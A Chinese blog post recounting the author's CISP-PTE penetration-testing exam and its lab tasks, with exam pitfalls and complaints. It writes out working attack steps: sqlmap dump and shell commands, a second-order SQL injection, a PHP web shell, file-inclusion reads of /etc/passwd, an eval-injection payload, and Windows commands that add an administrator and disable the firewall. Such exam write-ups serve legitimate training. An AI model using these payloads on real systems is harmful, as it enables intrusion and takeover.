关于考cisp-pte的一些复盘
2022-9-9 23:4:56 Author: 虚拟尽头(查看原文) 阅读量:55 收藏


我是9.6号去考的pte证书,一句话总结就是,出了一些新题目,但是难度并没有增加,最大的问题就是考试现场的环境,还有想信题目会出错。去年五月份也考过一回,当时拿到了7个key,但是不知道为啥没过。这次算是第一次补考。

总结

分两部分,实操题思路和坑点总结(强烈推荐看坑点总结)

01

实操题前五题的思路

sql注入
1

是一个新出的题目,题目给了一个登录页面。

我的思路大概就是先扔过去扫目录,然后看看F12,发现了有register.php页面,想着随便注册一个用户看看。

后台要是没有东西,一般就登录框,或者注册点有问题。

登录进去后,有管理信息的界面,但是界面上显示没有权限,并显示了管理员的邮箱账号。

然后思路又变成,有越权?或者直接拿着账号去爆破?或者就是概率及其小,但是pte考试常出的二次注入?

前两个思路测试完之后发现只剩第三个思路,注册一个

[email protected]'#

注册的时候会有js限制,拿之前的注册包,然后改成这个就可以绕过,然后拿着这个账号去登录,登录也有js限制,先输入个正常的账号,然后再去抓包绕过js限制,登录成功后可以看到有处地方存在修改密码的地方,然后直接修改密码为123456,然后用[email protected]/123456登录即可。

登录完成这只是第一步。。。登录后在后台查看管理信息的界面,发现可以删除东西,抓包看到删除的地方有sql注入,然后想着直接扔sqlmap跑。

跑呗,第一次没跑出来。。我以为有问题,然后又跑了一遍,就跑出来了。就很无语。sqlmap语句

sqlmap.py -r 1.txt

然后找数据库中哪里存在了key,找了一圈没找到,然后直接dump了数据库

sqlmap.py -r 1.txt --dump

然后没发现,仔细看题目是在根目录下,想着无非就是getshell了呗,我直接sqlmap跑,前面看过权限为dba权限了。

sqlmap.py -r 1.txt --os-shell

可惜的是os-shell不行。。。我就试了sql-shell

sqlmap.py -r 1.txt --sql-shell

可以搞,然后就是读文件

select load_file('/key');
文件上传
2

正常的文件上传,慢慢测就好,无非就是检测内容,检测后缀

GIF89a<?php system($_GET['A']);?>

然后get参数传

A=cat key.cisp
文件包含
3

感觉文件包含还行,之前有次看群友在讨论的时候,顺便练习了一下,两个题目差不多。

先是看到有包含一个?file=hello,尝试直接读/etc/passwd

?file=/etc/passwd

然后直接读key.cisp即可

不过有些时候pte考的比较坑,后面细说

命令执行
4
<?php $a=$_POST['a'];eval("\$o=strlower(\"$a\");");?>

我当时第一想法就是直接闭合

$a=");system("cat key.php");//

然后读不出来。。。我人都傻了

这个题从开头到结束,我没做出来。。我感觉我的答案也没问题啊。后来我看了颖奇大佬的博客,一模一样的payload,但是我没出key。

失效的访问控制
5

题目如图,最简单的一道题,但是考试现场有坑,后面说。

综合题
6

综合题比较简单,但我做的时候,出了一些问题。

拿到目标直接扫目录了,有个phpmyadmin,然后直接root/root登录

登录phpmyadmin上去有第一个key。

然后找到web站点80端口的管理员账号密码,我是直接hackbar生成123456的md5然后进行替换。

替换后成功登录。后台没有key,应该得拿到shell。

但是咋传php马都连不上,就很尴尬,但是上传应该是没有过滤的,于是我传了一个system马

<?php system($_POST['a']);?>

system是可以执行的

netstat看到开启了3389端口,要不然我还真记不住注册表开3389的语句(不过自带的工具包里面有能开3389的工具)

然后一串操作,添加用户,看组,添加到管理员组,关闭防火墙。

net user xxx Xx123456 /addnet localgroupnet localgroup administrator xxx /addnetsh firewall set opmode mode=disable

然后用xxx登录,发现到了c盘下的web目录,找到另外一个key。

然后最后一个key应该在桌面或者桌面的回收站里,xxx没找到,直接更改了administrator用户的密码,然后再次登录3389,发现回收站里的key

02

坑点总结

坑点1:sql注入是站库分离的,所以getshell不了,只能sqlshell,然后也只能load_file,要是有其他思路能拿到key的,希望师傅们不吝分享。

坑点2:命令注入,那玩意环境我不知道有没有问题,但是payload应该没问题,还有一些题需要先给key.php给权限,才能读到。

坑点3:第五个实操题,环境有问题。。我当时反馈给了监考老师,然后老师说这是新环境,移题目的时候把代码弄错了,然后弄了半天。

坑点4:其实最恐怖的不是题目难度,而是考试靶场环境,还有写key的时候一定要仔细仔细仔细,考试的时候是不能复制的。考试一半,突然断网!有时候靶场里面输入不了东西。考试的时候,开考两个小时,我还为了环境头疼。

坑点5:文件包含的时候正常题目使用伪协议啥的,完全没问题,或者直接读,但是有时候会过滤伪协议里的php,然后把其他伪协议放黑名单,双写php即可,例:pphphp://filter.

坑点6:综合题的80端口文件上传的时候,我们传的一句话马能解析,但是使用菜刀,蚁剑连不上的时候,不要着急,使用system函数也可直接执行系统命令,或者直接使用readfile()函数读key。不要最后一道key,拿到证书也完全没问题

03

最后一点吐槽

我要吐槽我要吐槽,考场里的抓包为啥只有burp,为啥不能有yakit,我不服!还有一堆老工具,用的头疼。还有第五题不是有问题吗。。然后有人在监考老师没改题目的情况下把key拿到了,我不理解,可能用了什么高科技。还有第一题的sql注入,二次注入,然后删除点注入,还只能load_file读文件。。。你搞这么复杂干嘛,还不如来一道sql注入,然后弄点waf有意思。还有pte最新发的通知,以后考pte可能会变得更难,或者更复杂,例如那个sql注入(新题),还有pte以后会更加严格,各种报名渠道以后都审核的更严格,想走后门的这种不太可能,有就当我没说。

往期文章推荐

SRC 挖洞tips
一次src挖洞经历(不是一个)
自己遇到的一些逻辑漏洞
一文学懂正则匹配
对单一的ip目标测试
一次命令执行的实战绕过


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxOTM1MTU0OQ==&mid=2247484848&idx=1&sn=7dae4f72bbf34f1f72718368f1bf061f&chksm=c1a23c22f6d5b534de13e9e1167d560f43c36f757ba0dfc12515f9b0ec4ce0082ff92c90b485#rd
如有侵权请联系:admin#unsafe.sh